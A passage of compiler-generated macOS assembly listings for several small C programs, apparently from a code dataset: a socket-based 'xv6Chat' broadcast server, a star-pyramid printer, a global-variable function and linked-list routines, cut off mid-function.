LBB1_56: ## in Loop: Header=BB1_20 Depth=1
movslq -344(%rbp), %rax
movl -176(%rbp,%rax,4), %edi
callq _close
movslq -344(%rbp), %rax
movl $0, -176(%rbp,%rax,4)
jmp LBB1_81
LBB1_57: ## in Loop: Header=BB1_50 Depth=2
movslq -344(%rbp), %rax
cmpl $0, -176(%rbp,%rax,4)
jne LBB1_79
## %bb.58: ## in Loop: Header=BB1_20 Depth=1
movl -348(%rbp), %ecx
movslq -344(%rbp), %rax
movl %ecx, -176(%rbp,%rax,4)
leaq -608(%rbp), %rdi
xorl %esi, %esi
movl $256, %edx ## imm = 0x100
callq _memset
movslq -344(%rbp), %rax
movl -176(%rbp,%rax,4), %edi
leaq -608(%rbp), %rsi
movl $256, %edx ## imm = 0x100
xorl %ecx, %ecx
callq _recv
## kill: def $eax killed $eax killed $rax
movl %eax, -352(%rbp)
cmpl $0, %eax
jge LBB1_60
## %bb.59:
leaq L_.str.10(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
movl $1, %edi
callq _exit
LBB1_60: ## in Loop: Header=BB1_20 Depth=1
leaq -608(%rbp), %rdi
callq _strlen
subq $1, %rax
movsbl -608(%rbp,%rax), %eax
cmpl $10, %eax
jne LBB1_62
## %bb.61: ## in Loop: Header=BB1_20 Depth=1
leaq -608(%rbp), %rdi
callq _strlen
subq $1, %rax
movb $0, -608(%rbp,%rax)
LBB1_62: ## in Loop: Header=BB1_20 Depth=1
cmpl $0, -344(%rbp)
jne LBB1_64
## %bb.63: ## in Loop: Header=BB1_20 Depth=1
leaq -912(%rbp), %rdi
leaq -608(%rbp), %rsi
movl $32, %edx
callq ___strcpy_chk
jmp LBB1_70
LBB1_64: ## in Loop: Header=BB1_20 Depth=1
cmpl $1, -344(%rbp)
jne LBB1_66
## %bb.65: ## in Loop: Header=BB1_20 Depth=1
leaq -944(%rbp), %rdi
leaq -608(%rbp), %rsi
movl $32, %edx
callq ___strcpy_chk
jmp LBB1_69
LBB1_66: ## in Loop: Header=BB1_20 Depth=1
cmpl $2, -344(%rbp)
jne LBB1_68
## %bb.67: ## in Loop: Header=BB1_20 Depth=1
leaq -976(%rbp), %rdi
leaq -608(%rbp), %rsi
movl $32, %edx
callq ___strcpy_chk
LBB1_68: ## in Loop: Header=BB1_20 Depth=1
jmp LBB1_69
LBB1_69: ## in Loop: Header=BB1_20 Depth=1
jmp LBB1_70
LBB1_70: ## in Loop: Header=BB1_20 Depth=1
leaq -608(%rbp), %rsi
leaq L_.str.13(%rip), %rdi
movb $0, %al
callq _printf
leaq -864(%rbp), %rdi
xorl %esi, %esi
movl $256, %edx ## imm = 0x100
callq _memset
leaq -864(%rbp), %rdi
leaq L_.str.14(%rip), %rsi
movl $256, %edx ## imm = 0x100
callq ___strcat_chk
leaq -864(%rbp), %rdi
leaq -608(%rbp), %rsi
movl $256, %edx ## imm = 0x100
callq ___strcat_chk
leaq -864(%rbp), %rdi
leaq L_.str.15(%rip), %rsi
movl $256, %edx ## imm = 0x100
callq ___strcat_chk
movl $0, -872(%rbp)
LBB1_71: ## Parent Loop BB1_20 Depth=1
## => This Inner Loop Header: Depth=2
cmpl $4, -872(%rbp)
jge LBB1_78
## %bb.72: ## in Loop: Header=BB1_71 Depth=2
movslq -872(%rbp), %rax
cmpl $0, -176(%rbp,%rax,4)
je LBB1_76
## %bb.73: ## in Loop: Header=BB1_71 Depth=2
movslq -872(%rbp), %rax
movl -176(%rbp,%rax,4), %edi
leaq -864(%rbp), %rsi
movl $256, %edx ## imm = 0x100
xorl %ecx, %ecx
callq _send
cmpq $0, %rax
jge LBB1_75
## %bb.74:
leaq L_.str.12(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
movl $1, %edi
callq _exit
LBB1_75: ## in Loop: Header=BB1_71 Depth=2
jmp LBB1_76
LBB1_76: ## in Loop: Header=BB1_71 Depth=2
jmp LBB1_77
LBB1_77: ## in Loop: Header=BB1_71 Depth=2
movl -872(%rbp), %eax
addl $1, %eax
movl %eax, -872(%rbp)
jmp LBB1_71
LBB1_78: ## in Loop: Header=BB1_20 Depth=1
jmp LBB1_81
LBB1_79: ## in Loop: Header=BB1_50 Depth=2
jmp LBB1_80
LBB1_80: ## in Loop: Header=BB1_50 Depth=2
movl -344(%rbp), %eax
addl $1, %eax
movl %eax, -344(%rbp)
jmp LBB1_50
LBB1_81: ## in Loop: Header=BB1_20 Depth=1
jmp LBB1_82
LBB1_82: ## in Loop: Header=BB1_20 Depth=1
movl $0, -344(%rbp)
LBB1_83: ## Parent Loop BB1_20 Depth=1
## => This Loop Header: Depth=2
## Child Loop BB1_118 Depth 3
cmpl $4, -344(%rbp)
jge LBB1_131
## %bb.84: ## in Loop: Header=BB1_83 Depth=2
movslq -344(%rbp), %rax
movl -176(%rbp,%rax,4), %eax
movl %eax, -88(%rbp)
leaq -336(%rbp), %rax
movq %rax, -96(%rbp)
movl -88(%rbp), %ecx
movq -96(%rbp), %rax
movl %ecx, -40(%rbp)
movq %rax, -48(%rbp)
movq ___darwin_check_fd_set_overflow@GOTPCREL(%rip), %rax
testq %rax, %rax
je LBB1_86
jmp LBB1_85
LBB1_85: ## in Loop: Header=BB1_83 Depth=2
movl -40(%rbp), %edi
movq -48(%rbp), %rsi
xorl %edx, %edx
callq ___darwin_check_fd_set_overflow
movl %eax, -36(%rbp)
jmp LBB1_87
LBB1_86: ## in Loop: Header=BB1_83 Depth=2
movl $1, -36(%rbp)
LBB1_87: ## in Loop: Header=BB1_83 Depth=2
cmpl $0, -36(%rbp)
je LBB1_89
## %bb.88: ## in Loop: Header=BB1_83 Depth=2
movq -96(%rbp), %rax
movslq -88(%rbp), %rcx
shrq $5, %rcx
movl (%rax,%rcx,4), %eax
movslq -88(%rbp), %rcx
andq $31, %rcx
movl $1, %edx
## kill: def $cl killed $rcx
shlq %cl, %rdx
movq %rdx, %rcx
## kill: def $ecx killed $ecx killed $rcx
andl %ecx, %eax
movl %eax, -84(%rbp)
jmp LBB1_90
LBB1_89: ## in Loop: Header=BB1_83 Depth=2
movl $0, -84(%rbp)
LBB1_90: ## in Loop: Header=BB1_83 Depth=2
cmpl $0, -84(%rbp)
je LBB1_129
## %bb.91: ## in Loop: Header=BB1_83 Depth=2
leaq -608(%rbp), %rdi
xorl %esi, %esi
movl $256, %edx ## imm = 0x100
callq _memset
movslq -344(%rbp), %rax
movl -176(%rbp,%rax,4), %edi
leaq -608(%rbp), %rsi
movl $256, %edx ## imm = 0x100
xorl %ecx, %ecx
callq _recv
## kill: def $eax killed $eax killed $rax
movl %eax, -868(%rbp)
cmpl $0, %eax
jge LBB1_93
## %bb.92:
leaq L_.str.16(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
movl $1, %edi
callq _exit
LBB1_93: ## in Loop: Header=BB1_83 Depth=2
cmpl $0, -868(%rbp)
jne LBB1_95
## %bb.94: ## in Loop: Header=BB1_83 Depth=2
movslq -344(%rbp), %rax
movl -176(%rbp,%rax,4), %edi
callq _close
movslq -344(%rbp), %rax
movl $0, -176(%rbp,%rax,4)
LBB1_95: ## in Loop: Header=BB1_83 Depth=2
jmp LBB1_96
LBB1_96: ## in Loop: Header=BB1_83 Depth=2
movsbl -608(%rbp), %eax
cmpl $0, %eax
jne LBB1_98
## %bb.97: ## in Loop: Header=BB1_20 Depth=1
jmp LBB1_131
LBB1_98: ## in Loop: Header=BB1_83 Depth=2
leaq -608(%rbp), %rdi
leaq -878(%rbp), %rsi
callq _strcmp
cmpl $0, %eax
jne LBB1_108
## %bb.99: ## in Loop: Header=BB1_83 Depth=2
movslq -344(%rbp), %rax
movl -176(%rbp,%rax,4), %edi
callq _close
movslq -344(%rbp), %rax
movl $0, -176(%rbp,%rax,4)
leaq -864(%rbp), %rdi
xorl %esi, %esi
movl $256, %edx ## imm = 0x100
callq _memset
leaq -1008(%rbp), %rdi
xorl %esi, %esi
movl $32, %edx
callq _memset
leaq -864(%rbp), %rdi
leaq L_.str.14(%rip), %rsi
movl $256, %edx ## imm = 0x100
callq ___strcat_chk
cmpl $0, -344(%rbp)
jne LBB1_101
## %bb.100: ## in Loop: Header=BB1_83 Depth=2
leaq -1008(%rbp), %rdi
leaq -912(%rbp), %rsi
movl $32, %edx
callq ___strcat_chk
jmp LBB1_107
LBB1_101: ## in Loop: Header=BB1_83 Depth=2
cmpl $1, -344(%rbp)
jne LBB1_103
## %bb.102: ## in Loop: Header=BB1_83 Depth=2
leaq -1008(%rbp), %rdi
leaq -944(%rbp), %rsi
movl $32, %edx
callq ___strcat_chk
jmp LBB1_106
LBB1_103: ## in Loop: Header=BB1_83 Depth=2
cmpl $2, -344(%rbp)
jne LBB1_105
## %bb.104: ## in Loop: Header=BB1_83 Depth=2
leaq -1008(%rbp), %rdi
leaq -976(%rbp), %rsi
movl $32, %edx
callq ___strcat_chk
LBB1_105: ## in Loop: Header=BB1_83 Depth=2
jmp LBB1_106
LBB1_106: ## in Loop: Header=BB1_83 Depth=2
jmp LBB1_107
LBB1_107: ## in Loop: Header=BB1_83 Depth=2
leaq -864(%rbp), %rdi
leaq -1008(%rbp), %rsi
movl $256, %edx ## imm = 0x100
callq ___strcat_chk
leaq -864(%rbp), %rdi
leaq L_.str.17(%rip), %rsi
movl $256, %edx ## imm = 0x100
callq ___strcat_chk
movl $4, -344(%rbp)
leaq -1008(%rbp), %rsi
leaq L_.str.18(%rip), %rdi
movb $0, %al
callq _printf
jmp LBB1_117
LBB1_108: ## in Loop: Header=BB1_83 Depth=2
cmpl $0, -344(%rbp)
jne LBB1_110
## %bb.109: ## in Loop: Header=BB1_83 Depth=2
leaq -864(%rbp), %rdi
xorl %esi, %esi
movl $256, %edx ## imm = 0x100
callq _memset
leaq -864(%rbp), %rdi
leaq L_.str.19(%rip), %rsi
movl $256, %edx ## imm = 0x100
callq ___strcat_chk
leaq -864(%rbp), %rdi
leaq -912(%rbp), %rsi
movl $256, %edx ## imm = 0x100
callq ___strcat_chk
leaq -864(%rbp), %rdi
leaq L_.str.20(%rip), %rsi
movl $256, %edx ## imm = 0x100
callq ___strcat_chk
leaq -864(%rbp), %rdi
leaq -608(%rbp), %rsi
movl $256, %edx ## imm = 0x100
callq ___strcat_chk
jmp LBB1_116
LBB1_110: ## in Loop: Header=BB1_83 Depth=2
cmpl $1, -344(%rbp)
jne LBB1_112
## %bb.111: ## in Loop: Header=BB1_83 Depth=2
leaq -864(%rbp), %rdi
xorl %esi, %esi
movl $256, %edx ## imm = 0x100
callq _memset
leaq -864(%rbp), %rdi
leaq L_.str.19(%rip), %rsi
movl $256, %edx ## imm = 0x100
callq ___strcat_chk
leaq -864(%rbp), %rdi
leaq -944(%rbp), %rsi
movl $256, %edx ## imm = 0x100
callq ___strcat_chk
leaq -864(%rbp), %rdi
leaq L_.str.20(%rip), %rsi
movl $256, %edx ## imm = 0x100
callq ___strcat_chk
leaq -864(%rbp), %rdi
leaq -608(%rbp), %rsi
movl $256, %edx ## imm = 0x100
callq ___strcat_chk
jmp LBB1_115
LBB1_112: ## in Loop: Header=BB1_83 Depth=2
cmpl $2, -344(%rbp)
jne LBB1_114
## %bb.113: ## in Loop: Header=BB1_83 Depth=2
leaq -864(%rbp), %rdi
xorl %esi, %esi
movl $256, %edx ## imm = 0x100
callq _memset
leaq -864(%rbp), %rdi
leaq L_.str.19(%rip), %rsi
movl $256, %edx ## imm = 0x100
callq ___strcat_chk
leaq -864(%rbp), %rdi
leaq -976(%rbp), %rsi
movl $256, %edx ## imm = 0x100
callq ___strcat_chk
leaq -864(%rbp), %rdi
leaq L_.str.20(%rip), %rsi
movl $256, %edx ## imm = 0x100
callq ___strcat_chk
leaq -864(%rbp), %rdi
leaq -608(%rbp), %rsi
movl $256, %edx ## imm = 0x100
callq ___strcat_chk
LBB1_114: ## in Loop: Header=BB1_83 Depth=2
jmp LBB1_115
LBB1_115: ## in Loop: Header=BB1_83 Depth=2
jmp LBB1_116
LBB1_116: ## in Loop: Header=BB1_83 Depth=2
jmp LBB1_117
LBB1_117: ## in Loop: Header=BB1_83 Depth=2
movl $0, -872(%rbp)
LBB1_118: ## Parent Loop BB1_20 Depth=1
## Parent Loop BB1_83 Depth=2
## => This Inner Loop Header: Depth=3
cmpl $4, -872(%rbp)
jge LBB1_128
## %bb.119: ## in Loop: Header=BB1_118 Depth=3
movslq -872(%rbp), %rax
cmpl $0, -176(%rbp,%rax,4)
je LBB1_126
## %bb.120: ## in Loop: Header=BB1_118 Depth=3
movslq -872(%rbp), %rax
movl -176(%rbp,%rax,4), %edi
leaq -864(%rbp), %rsi
movl $256, %edx ## imm = 0x100
xorl %ecx, %ecx
callq _send
## kill: def $eax killed $eax killed $rax
movl %eax, -1012(%rbp)
cmpl $0, %eax
jge LBB1_122
## %bb.121:
leaq L_.str.12(%rip), %rdi
xorl %eax, %eax
## kill: def $al killed $al killed $eax
callq _printf
movl $1, %edi
callq _exit
LBB1_122: ## in Loop: Header=BB1_118 Depth=3
cmpl $0, -1012(%rbp)
jne LBB1_124
## %bb.123: ## in Loop: Header=BB1_118 Depth=3
movslq -344(%rbp), %rax
movl -176(%rbp,%rax,4), %edi
callq _close
movslq -344(%rbp), %rax
movl $0, -176(%rbp,%rax,4)
LBB1_124: ## in Loop: Header=BB1_118 Depth=3
jmp LBB1_125
LBB1_125: ## in Loop: Header=BB1_118 Depth=3
jmp LBB1_126
LBB1_126: ## in Loop: Header=BB1_118 Depth=3
jmp LBB1_127
LBB1_127: ## in Loop: Header=BB1_118 Depth=3
movl -872(%rbp), %eax
addl $1, %eax
movl %eax, -872(%rbp)
jmp LBB1_118
LBB1_128: ## in Loop: Header=BB1_83 Depth=2
jmp LBB1_129
LBB1_129: ## in Loop: Header=BB1_83 Depth=2
jmp LBB1_130
LBB1_130: ## in Loop: Header=BB1_83 Depth=2
movl -344(%rbp), %eax
addl $1, %eax
movl %eax, -344(%rbp)
jmp LBB1_83
LBB1_131: ## in Loop: Header=BB1_20 Depth=1
jmp LBB1_20
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function _OSSwapInt16
__OSSwapInt16: ## @_OSSwapInt16
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movw %di, %ax
movw %ax, -2(%rbp)
movzwl -2(%rbp), %eax
shll $8, %eax
movzwl -2(%rbp), %ecx
sarl $8, %ecx
orl %ecx, %eax
## kill: def $ax killed $ax killed $eax
movzwl %ax, %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _masterSocket,4,2 ## @masterSocket
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "xv6Chat Server terminating, have a nice day :P\n"
L_.str.1: ## @.str.1
.asciz "Incorrect number of arguments! Correct format is\n\t./xv6ChatServer <Server IP> <Server Port>\n"
L_.str.2: ## @.str.2
.asciz "Passed in arguments are not valid! Correct format is\n\t./xv6ChatServer <Server IP> <Server Port>\n"
L_.str.3: ## @.str.3
.asciz "Server master socket establishment error!\n"
L_.str.4: ## @.str.4
.asciz "Invalid Server IP\n"
L_.str.5: ## @.str.5
.asciz "Server bind error!\n"
L_.str.6: ## @.str.6
.asciz "Server listen error!\n"
L_.str.7: ## @.str.7
.asciz "xv6Chat Server start..\n"
L_.str.8: ## @.str.8
.asciz "Select error!\n"
L_.str.9: ## @.str.9
.asciz "New client accept error!\n"
L_.str.10: ## @.str.10
.asciz "Message receive from new client error!\n"
L_.str.11: ## @.str.11
.asciz "Closing 4th connection"
L_.str.12: ## @.str.12
.asciz "Server send error!\n"
L_.str.13: ## @.str.13
.asciz "User {%s} connected.\n"
L_.str.14: ## @.str.14
.asciz "[Server] User: {"
L_.str.15: ## @.str.15
.asciz "} connected. Everyone say hello! :)"
L_.str.16: ## @.str.16
.asciz "Message receive from client error!\n"
L_.str.17: ## @.str.17
.asciz "} has disconnected."
L_.str.18: ## @.str.18
.asciz "User {%s} disconnected.\n"
L_.str.19: ## @.str.19
.asciz "{"
L_.str.20: ## @.str.20
.asciz "} "
.subsections_via_symbols
| the_stack_data/26701648.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur wzr, [x29, #-4]
mov x9, sp
sub x8, x29, #8
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _scanf
mov w8, #1
stur w8, [x29, #-12]
b LBB0_1
LBB0_1: ; =>This Loop Header: Depth=1
; Child Loop BB0_3 Depth 2
; Child Loop BB0_7 Depth 2
; Child Loop BB0_11 Depth 2
ldur w8, [x29, #-12]
ldur w9, [x29, #-8]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_16
b LBB0_2
LBB0_2: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-8]
subs w8, w8, #1
str w8, [sp, #16]
b LBB0_3
LBB0_3: ; Parent Loop BB0_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #16]
ldur w9, [x29, #-12]
subs w8, w8, w9
cset w8, lt
tbnz w8, #0, LBB0_6
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=2
mov w0, #32
bl _putchar
b LBB0_5
LBB0_5: ; in Loop: Header=BB0_3 Depth=2
ldr w8, [sp, #16]
subs w8, w8, #1
str w8, [sp, #16]
b LBB0_3
LBB0_6: ; in Loop: Header=BB0_1 Depth=1
mov w8, #1
str w8, [sp, #12]
b LBB0_7
LBB0_7: ; Parent Loop BB0_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #12]
ldur w9, [x29, #-12]
subs w8, w8, w9
cset w8, gt
tbnz w8, #0, LBB0_10
b LBB0_8
LBB0_8: ; in Loop: Header=BB0_7 Depth=2
mov w0, #42
bl _putchar
b LBB0_9
LBB0_9: ; in Loop: Header=BB0_7 Depth=2
ldr w8, [sp, #12]
add w8, w8, #1
str w8, [sp, #12]
b LBB0_7
LBB0_10: ; in Loop: Header=BB0_1 Depth=1
mov w8, #1
str w8, [sp, #8]
b LBB0_11
LBB0_11: ; Parent Loop BB0_1 Depth=1
; => This Inner Loop Header: Depth=2
ldr w8, [sp, #8]
ldur w9, [x29, #-12]
subs w8, w8, w9
cset w8, ge
tbnz w8, #0, LBB0_14
b LBB0_12
LBB0_12: ; in Loop: Header=BB0_11 Depth=2
mov w0, #42
bl _putchar
b LBB0_13
LBB0_13: ; in Loop: Header=BB0_11 Depth=2
ldr w8, [sp, #8]
add w8, w8, #1
str w8, [sp, #8]
b LBB0_11
LBB0_14: ; in Loop: Header=BB0_1 Depth=1
mov w0, #10
bl _putchar
b LBB0_15
LBB0_15: ; in Loop: Header=BB0_1 Depth=1
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB0_1
LBB0_16:
mov w0, #10
bl _putchar
mov w0, #0
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #48
ret
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%i"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
subq $32, %rsp
movl $0, -4(%rbp)
leaq L_.str(%rip), %rdi
leaq -8(%rbp), %rsi
movb $0, %al
callq _scanf
movl $1, -12(%rbp)
LBB0_1: ## =>This Loop Header: Depth=1
## Child Loop BB0_3 Depth 2
## Child Loop BB0_7 Depth 2
## Child Loop BB0_11 Depth 2
movl -12(%rbp), %eax
cmpl -8(%rbp), %eax
jg LBB0_16
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
movl -8(%rbp), %eax
subl $1, %eax
movl %eax, -16(%rbp)
LBB0_3: ## Parent Loop BB0_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -16(%rbp), %eax
cmpl -12(%rbp), %eax
jl LBB0_6
## %bb.4: ## in Loop: Header=BB0_3 Depth=2
movl $32, %edi
callq _putchar
## %bb.5: ## in Loop: Header=BB0_3 Depth=2
movl -16(%rbp), %eax
addl $-1, %eax
movl %eax, -16(%rbp)
jmp LBB0_3
LBB0_6: ## in Loop: Header=BB0_1 Depth=1
movl $1, -20(%rbp)
LBB0_7: ## Parent Loop BB0_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -20(%rbp), %eax
cmpl -12(%rbp), %eax
jg LBB0_10
## %bb.8: ## in Loop: Header=BB0_7 Depth=2
movl $42, %edi
callq _putchar
## %bb.9: ## in Loop: Header=BB0_7 Depth=2
movl -20(%rbp), %eax
addl $1, %eax
movl %eax, -20(%rbp)
jmp LBB0_7
LBB0_10: ## in Loop: Header=BB0_1 Depth=1
movl $1, -24(%rbp)
LBB0_11: ## Parent Loop BB0_1 Depth=1
## => This Inner Loop Header: Depth=2
movl -24(%rbp), %eax
cmpl -12(%rbp), %eax
jge LBB0_14
## %bb.12: ## in Loop: Header=BB0_11 Depth=2
movl $42, %edi
callq _putchar
## %bb.13: ## in Loop: Header=BB0_11 Depth=2
movl -24(%rbp), %eax
addl $1, %eax
movl %eax, -24(%rbp)
jmp LBB0_11
LBB0_14: ## in Loop: Header=BB0_1 Depth=1
movl $10, %edi
callq _putchar
## %bb.15: ## in Loop: Header=BB0_1 Depth=1
movl -12(%rbp), %eax
addl $1, %eax
movl %eax, -12(%rbp)
jmp LBB0_1
LBB0_16:
movl $10, %edi
callq _putchar
xorl %eax, %eax
addq $32, %rsp
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%i"
.subsections_via_symbols
| the_stack_data/248580009.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _e ; -- Begin function e
.p2align 2
_e: ; @e
.cfi_startproc
; %bb.0:
sub sp, sp, #16
.cfi_def_cfa_offset 16
adrp x8, _a@GOTPAGE
ldr x8, [x8, _a@GOTPAGEOFF]
ldr x9, [x8]
adrp x10, _d@GOTPAGE
ldr x10, [x10, _d@GOTPAGEOFF]
mov x8, x9
str w8, [x10]
adrp x8, _c@GOTPAGE
ldr x8, [x8, _c@GOTPAGEOFF]
; kill: def $w9 killed $w9 killed $x9
str w9, [x8]
ldr w8, [x8]
subs w8, w8, #4
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
adrp x8, _d@GOTPAGE
ldr x8, [x8, _d@GOTPAGEOFF]
ldrsw x8, [x8]
adrp x9, _b@GOTPAGE
ldr x9, [x9, _b@GOTPAGEOFF]
str x8, [x9]
b LBB0_2
LBB0_2:
ldr w0, [sp, #12]
add sp, sp, #16
ret
.cfi_endproc
; -- End function
.comm _a,8,3 ; @a
.comm _d,4,2 ; @d
.comm _c,4,2 ; @c
.comm _b,8,3 ; @b
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _e ## -- Begin function e
.p2align 4, 0x90
_e: ## @e
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq _a@GOTPCREL(%rip), %rax
movq (%rax), %rax
movl %eax, %ecx
movq _d@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movq _c@GOTPCREL(%rip), %rax
movl %ecx, (%rax)
movq _c@GOTPCREL(%rip), %rax
cmpl $4, (%rax)
jne LBB0_2
## %bb.1:
movq _d@GOTPCREL(%rip), %rax
movslq (%rax), %rcx
movq _b@GOTPCREL(%rip), %rax
movq %rcx, (%rax)
LBB0_2:
movl -4(%rbp), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _a,8,3 ## @a
.comm _d,4,2 ## @d
.comm _c,4,2 ## @c
.comm _b,8,3 ## @b
.subsections_via_symbols
| the_stack_data/184517573.c |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _append ; -- Begin function append
.p2align 2
_append: ; @append
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
adrp x8, _head@PAGE
ldr x8, [x8, _head@PAGEOFF]
subs x8, x8, #0
cset w8, ne
tbnz w8, #0, LBB0_2
b LBB0_1
LBB0_1:
mov x0, #16
bl _malloc
adrp x8, _head@PAGE
str x0, [x8, _head@PAGEOFF]
ldur w9, [x29, #-4]
ldr x10, [x8, _head@PAGEOFF]
str w9, [x10]
ldr x8, [x8, _head@PAGEOFF]
; kill: def $x9 killed $xzr
str xzr, [x8, #8]
b LBB0_6
LBB0_2:
adrp x8, _head@PAGE
ldr x8, [x8, _head@PAGEOFF]
str x8, [sp]
b LBB0_3
LBB0_3: ; =>This Inner Loop Header: Depth=1
ldr x8, [sp]
ldr x8, [x8, #8]
subs x8, x8, #0
cset w8, eq
tbnz w8, #0, LBB0_5
b LBB0_4
LBB0_4: ; in Loop: Header=BB0_3 Depth=1
ldr x8, [sp]
ldr x8, [x8, #8]
str x8, [sp]
b LBB0_3
LBB0_5:
mov x0, #16
bl _malloc
ldr x8, [sp]
str x0, [x8, #8]
ldur w8, [x29, #-4]
ldr x9, [sp]
ldr x9, [x9, #8]
str w8, [x9]
ldr x8, [sp]
ldr x8, [x8, #8]
; kill: def $x9 killed $xzr
str xzr, [x8, #8]
b LBB0_6
LBB0_6:
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _insertfirst ; -- Begin function insertfirst
.p2align 2
_insertfirst: ; @insertfirst
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
; kill: def $x8 killed $xzr
str xzr, [sp]
mov x0, #16
bl _malloc
str x0, [sp]
ldur w8, [x29, #-4]
ldr x9, [sp]
str w8, [x9]
adrp x9, _head@PAGE
ldr x8, [x9, _head@PAGEOFF]
ldr x10, [sp]
str x8, [x10, #8]
ldr x8, [sp]
str x8, [x9, _head@PAGEOFF]
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _insertat ; -- Begin function insertat
.p2align 2
_insertat: ; @insertat
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
stur w0, [x29, #-4]
stur w1, [x29, #-8]
mov w8, #1
stur w8, [x29, #-12]
adrp x8, _head@PAGE
ldr x8, [x8, _head@PAGEOFF]
str x8, [sp, #24]
; kill: def $x8 killed $xzr
str xzr, [sp, #16]
str xzr, [sp, #8]
b LBB2_1
LBB2_1: ; =>This Inner Loop Header: Depth=1
ldur w8, [x29, #-4]
subs w8, w8, #1
ldur w9, [x29, #-12]
subs w8, w8, w9
cset w8, le
tbnz w8, #0, LBB2_3
b LBB2_2
LBB2_2: ; in Loop: Header=BB2_1 Depth=1
ldr x8, [sp, #24]
ldr x8, [x8, #8]
str x8, [sp, #24]
ldur w8, [x29, #-12]
add w8, w8, #1
stur w8, [x29, #-12]
b LBB2_1
LBB2_3:
ldr x8, [sp, #24]
ldr x8, [x8, #8]
str x8, [sp, #16]
ldr x8, [sp, #16]
ldr w9, [x8]
; implicit-def: $x8
mov x8, x9
mov x9, sp
str x8, [x9]
adrp x0, l_.str@PAGE
add x0, x0, l_.str@PAGEOFF
bl _printf
mov x0, #16
bl _malloc
str x0, [sp, #8]
ldur w8, [x29, #-8]
ldr x9, [sp, #8]
str w8, [x9]
ldr x8, [sp, #16]
ldr x9, [sp, #8]
str x8, [x9, #8]
ldr x8, [sp, #8]
ldr x9, [sp, #24]
str x8, [x9, #8]
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
add sp, sp, #64
ret
.cfi_endproc
; -- End function
.globl _removefirst ; -- Begin function removefirst
.p2align 2
_removefirst: ; @removefirst
.cfi_startproc
; %bb.0:
sub sp, sp, #32
.cfi_def_cfa_offset 32
stp x29, x30, [sp, #16] ; 16-byte Folded Spill
add x29, sp, #16
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
; kill: def $x8 killed $xzr
str xzr, [sp, #8]
adrp x9, _head@PAGE
ldr x8, [x9, _head@PAGEOFF]
str x8, [sp, #8]
ldr x8, [x9, _head@PAGEOFF]
ldr x8, [x8, #8]
str x8, [x9, _head@PAGEOFF]
ldr x0, [sp, #8]
bl _free
ldp x29, x30, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #32
ret
.cfi_endproc
; -- End function
.globl _removelast ; -- Begin function removelast
.p2align 2
_removelast: ; @removelast
.cfi_startproc
